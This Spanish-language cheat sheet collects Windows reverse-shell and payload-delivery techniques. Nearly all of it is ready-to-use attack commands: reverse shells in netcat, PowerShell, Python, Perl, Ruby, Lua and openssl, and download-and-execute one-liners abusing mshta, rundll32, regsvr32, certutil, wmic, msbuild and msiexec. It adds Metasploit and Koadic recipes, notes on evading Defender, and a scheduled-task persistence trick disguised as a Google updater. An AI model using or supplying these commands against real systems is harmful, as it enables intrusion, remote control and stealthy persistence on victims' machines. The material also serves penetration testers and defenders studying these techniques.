Shells - Windows

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Lolbas

La página lolbas-project.github.io es para Windows como https://gtfobins.github.io/ es para linux.
Obviamente, no hay archivos SUID ni privilegios sudo en Windows, pero es útil saber cómo algunos binaries pueden ser (ab)usados para realizar cierto tipo de acciones inesperadas como execute arbitrary code.

NC

nc.exe -e cmd.exe <Attacker_IP> <PORT>

NCAT

víctima

ncat.exe <Attacker_IP> <PORT>  -e "cmd.exe /c (cmd.exe  2>&1)"
#Encryption to bypass firewall
ncat.exe <Attacker_IP> <PORT eg.443> --ssl -e "cmd.exe /c (cmd.exe  2>&1)"

atacante

ncat -l <PORT>
#Encryption to bypass firewall
ncat -l <PORT eg.443> --ssl

SBD

sbd es una alternativa portátil y segura a Netcat. Funciona en sistemas tipo Unix y Win32. Con características como cifrado fuerte, ejecución de programas, puertos de origen personalizables y reconexión continua, sbd ofrece una solución versátil para la comunicación TCP/IP. Para usuarios de Windows, la versión sbd.exe de la distribución Kali Linux puede usarse como un reemplazo confiable para Netcat.

# Victims machine
sbd -l -p 4444 -e bash -v -n
listening on port 4444


# Atackers
sbd 10.10.10.10 4444
id
uid=0(root) gid=0(root) groups=0(root)

Python

#Windows
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"

Perl

perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Ruby

#Windows
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Lua

lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

OpenSSH

Atacante (Kali)

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response

Víctima

#Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>

#Windows
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>

Powershell

powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')"
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile

Proceso que realiza la llamada de red: powershell.exe
Payload escrito en disco: NO (al menos en ninguna parte que pude encontrar usando procmon !)

powershell -exec bypass -f \\webdavserver\folder\payload.ps1

Proceso que realiza la llamada de red: svchost.exe
Payload escrito en disco: WebDAV client local cache

Comando de una sola línea:

$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Obtén más información sobre diferentes Powershell Shells al final de este documento

Mshta

• Desde aquí

mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))

mshta http://webserver/payload.hta

mshta \\webdavserver\folder\payload.hta

Ejemplo de hta-psh reverse shell (usar hta para descargar y ejecutar backdoor PS)

<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>

Puedes descargar y ejecutar muy fácilmente un Koadic zombie usando el stager hta

ejemplo de hta

Desde aquí

<html>
<head>
<HTA:APPLICATION ID="HelloExample">
<script language="jscript">
var c = "cmd.exe /c calc.exe";
new ActiveXObject('WScript.Shell').Run(c);
</script>
</head>
<body>
<script>self.close();</script>
</body>
</html>

mshta - sct

From here

<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close();  -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:C:\local\path\scriptlet.sct"")")) -->
<scriptlet>
<public>
</public>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>

Mshta - Metasploit

use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
msf exploit(windows/misc/hta_server) > set lhost 192.168.1.109
msf exploit(windows/misc/hta_server) > exploit

Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit

Detectado por defender

Rundll32

Dll hello world example

• From here

rundll32 \\webdavserver\folder\payload.dll,entrypoint

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();

Detectado por defender

Rundll32 - sct

From here

<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close();  -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
<scriptlet>
<public>
</public>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>

Rundll32 - Metasploit

use windows/smb/smb_delivery
run
#You will be given the command to run in the victim: rundll32.exe \\10.2.0.5\Iwvc\test.dll,0

Rundll32 - Koadic

use stager/js/rundll32_js
set SRVHOST 192.168.1.107
set ENDPOINT sales
run
#Koadic will tell you what you need to execute inside the victim, it will be something like:
rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://10.2.0.5:9997/ownmG",false);x.send();eval(x.responseText);window.close();

Regsvr32

• From here

regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll

regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll

Detectado por Defender

Regsvr32 – exportación arbitraria de DLL con el argumento /i (gatekeeping & persistence)

Además de cargar remote scriptlets (scrobj.dll), regsvr32.exe cargará una DLL local e invocará sus exports DllRegisterServer/DllUnregisterServer. Custom loaders frecuentemente abusan de esto para ejecutar código arbitrario mientras se mezclan con un LOLBin firmado. Dos tradecraft notes seen in the wild:

• Gatekeeping argument: la DLL sale a menos que se pase un switch específico vía /i:<arg>, p. ej. /i:--type=renderer para imitar Chromium renderer children. Esto reduce ejecuciones accidentales y frustra a los sandboxes.
• Persistence: programa regsvr32 para ejecutar la DLL en modo silencioso y con privilegios elevados junto con el argumento /i requerido, haciéndose pasar por una tarea de actualización:

Register-ScheduledTask \
-Action (New-ScheduledTaskAction -Execute "regsvr32" -Argument "/s /i:--type=renderer \"%APPDATA%\Microsoft\SystemCertificates\<name>.dll\"") \
-Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) \
-TaskName 'GoogleUpdaterTaskSystem196.6.2928.90.{FD10B0DF-...}' \
-TaskPath '\\GoogleSystem\\GoogleUpdater' \
-Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0 -DontStopOnIdleEnd) \
-RunLevel Highest

Ver también: ClickFix clipboard‑to‑PowerShell variant que stages un JS loader y más tarde persiste con regsvr32. Clipboard Hijacking

From here

<?XML version="1.0"?>
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
<!-- regsvr32 /u /n /s /i:\\webdavserver\folder\regsvr32.sct scrobj.dll -->
<scriptlet>
<registration
progid="PoC"
classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</scriptlet>

Regsvr32 - Metasploit

use multi/script/web_delivery
set target 3
set payload windows/meterpreter/reverse/tcp
set lhost 10.2.0.5
run
#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll

Puedes descargar y ejecutar muy fácilmente un Koadic zombie usando el stager regsvr

Certutil

• From here

Descarga un B64dll, decodifícalo y ejecútalo.

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll

Descarga un B64exe, decodifícalo y ejecútalo.

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe

Detectado por defender

Cscript/Wscript

powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\""

Cscript - Metasploit

msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs

Detectado por Defender

PS-Bat

\\webdavserver\folder\batchfile.bat

Proceso que realiza la llamada de red: svchost.exe
Payload escrito en disco: WebDAV client local cache

msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
impacket-smbserver -smb2support kali `pwd`

\\10.8.0.3\kali\shell.bat

Detectado por defender

MSIExec

Atacante

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
python -m SimpleHTTPServer 80

Víctima:

victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi

Detectado

Wmic

• From here

wmic os get /format:"https://webserver/payload.xsl"

Ejemplo de archivo xsl from here:

<?xml version='1.0'?>
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object Net.WebClient).DownloadString('http://10.2.0.5/shell.ps1') | powershell -noprofile -");
]]>
</ms:script>
</stylesheet>

No detectado

Puedes descargar y ejecutar muy fácilmente un Koadic zombie usando el stager wmic

Msbuild

• Desde aquí

cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"

Puedes usar esta técnica para eludir Application Whitelisting y las restricciones de Powershell.exe. Se te abrirá un PS shell.
Simplemente descarga esto y ejecútalo: https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj

No detectado

CSC

Compilar código C# en la máquina víctima.

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs

Puedes descargar un reverse shell básico en C# desde aquí: https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc

No detectado

Regasm/Regsvc

• Desde aquí

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll

No lo he probado

https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182

Odbcconf

• Desde aquí

odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}

No lo he probado

https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2

Powershell Shells

PS-Nishang

https://github.com/samratashok/nishang

En la carpeta Shells hay muchos shells diferentes. Para descargar y ejecutar Invoke-PowerShellTcp.ps1 copia el script y añádelo al final del archivo:

Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444

Sirve el script desde un servidor web y ejecútalo en el equipo de la víctima:

powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"

Defender no lo detecta como código malicioso (todavía, 03/04/2019).

TODO: Revisar otros nishang shells

PS-Powercat

https://github.com/besimorhino/powercat

Descarga, inicia un servidor web, inicia el listener y ejecútalo en la máquina de la víctima:

powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"

Defender no lo detecta como código malicioso (todavía, 3/04/2019).

Otras opciones ofrecidas por powercat:

Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files...

Serve a cmd Shell:
powercat -l -p 443 -e cmd
Send a cmd Shell:
powercat -c 10.1.1.1 -p 443 -e cmd
Send a powershell:
powercat -c 10.1.1.1 -p 443 -ep
Send a powershell UDP:
powercat -c 10.1.1.1 -p 443 -ep -u
TCP Listener to TCP Client Relay:
powercat -l -p 8000 -r tcp:10.1.1.16:443
Generate a reverse tcp payload which connects back to 10.1.1.15 port 443:
powercat -c 10.1.1.15 -p 443 -e cmd -g
Start A Persistent Server That Serves a File:
powercat -l -p 443 -i C:\inputfile -rep

Empire

https://github.com/EmpireProject/Empire

Crea un launcher de powershell, guárdalo en un archivo y descárgalo y ejecútalo.

powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"

Detectado como código malicioso

MSF-Unicorn

https://github.com/trustedsec/unicorn

Crear una versión en powershell de un backdoor de metasploit usando unicorn

python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443

Inicia msfconsole con el resource creado:

msfconsole -r unicorn.rc

Inicia un servidor web que sirva el archivo powershell_attack.txt y ejecútalo en la victim:

powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"

Detectado como código malicioso

Más

PS>Attack Consola PS con algunos módulos ofensivos de PS precargados (cifrados)
https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9
WinPWN Consola PS con algunos módulos ofensivos de PS y detección de proxy (IEX)

Referencias

• https://highon.coffee/blog/reverse-shell-cheat-sheet/
• https://gist.github.com/Arno0x
• https://github.com/GreatSCT/GreatSCT
• https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/
• https://www.hackingarticles.in/koadic-com-command-control-framework/
• https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
• https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/
• Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder